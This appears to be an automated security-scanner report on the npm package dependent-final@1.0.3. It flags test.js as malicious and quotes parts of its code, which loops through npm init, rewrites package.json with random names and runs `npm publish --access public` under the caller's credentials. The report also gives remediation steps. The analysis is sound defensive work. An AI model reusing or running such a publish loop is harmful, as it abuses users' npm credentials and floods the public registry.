dependent-final@1.0.3
dep
AI Security Review
scanned 2h ago · by lpm-firewall-aitest.js contains an intentional routine for publishing multiple randomly named public packages using the caller's npm credentials and modifying package.json. It is not automatically triggered by install or import, but its behavior is unrelated to the package's stated purpose and can publish packages the user did not choose.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Explicitly running test.js; it invokes its main routine at file load, with five iterations by default.
Impact
Publishes packages under names selected by the script, using the available npm credentials, and alters package.json in the working directory.
Mechanism
The script initializes package metadata, changes the name and version, writes package.json, and runs `npm publish --access public` in each iteration.
Attack narrative
Running test.js directly causes it to publish five public packages by default. Each iteration selects a random package name, rewrites package.json, and invokes npm publish, which can use the caller's npm credentials. The routine is not wired to install, import, or the declared npm test script.
AI rationale
test.js contains an intentional routine for publishing multiple randomly named public packages using the caller's npm credentials and modifying package.json. It is not automatically triggered by install or import, but its behavior is unrelated to the package's stated purpose and can publish packages the user did not choose.
Evidence
test.jspackage.json
Decision evidence
public snapshotAI called this Malicious at 97.0% confidence as Malware with low false-positive risk.
Evidence for block
- When run directly, test.js loops five times by default, creates random package names, rewrites package.json, and runs `npm publish --access public`.
- The publish loop is manually triggered: the manifest has no lifecycle hook or CLI, and its `test` script only prints an error and exits.
Evidence against
- The publish routine does not run on install or package import; the declared main file, index.js, is absent.
- No explicit network host is hard-coded in the package source.
Behavioral surface
ChildProcessFilesystemShell
HighEntropyStringsUrlStrings
Source & flagged code
6 flaggedtest.jsView file
1const { execSync } = require('child_process');
L2: const fs = require('fs');
...
L35:
L36: // Modify package.json with the specified name and version
L37: const packageJson = require('./package.json');
...
L41:
L42: // Run npm publish command
L43: const publishCommand = `npm publish --access public`;
Critical
Npm Publish Worm
Source mutates package metadata and republishes itself to npm.
test.jsView on unpkg · L11const { execSync } = require('child_process');
L2: const fs = require('fs');
High
24const main = async (iterations = 5) => {
for (let i = 0; i < iterations; i++) {
try {
// Define the package version
const version = i + 1;
const packageName = getRandomPackageName();
const packageVersion = `1.0.${version}`;
// Run npm init command with the specified scope
const initCommand = `npm init -y --scope=@febro28`;
execSync(initCommand, { stdio: 'inherit' });
// Modify package.json with the specified name and version
const packageJson = require('./package.json');
packageJson.name = `${packageName}`;
packageJs
High
Ai Review Evidence
Findings
1 Critical6 High4 Low
CriticalNpm Publish Wormtest.js
HighChild Processtest.js
HighShell
HighAi Review Evidencetest.js
HighAi Review Evidencetest.js
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencetest.js
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to dependent-final@1.0.3.
See all versions of dependent-final for other recorded verdicts.
- Avoid installing dependent-final@1.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.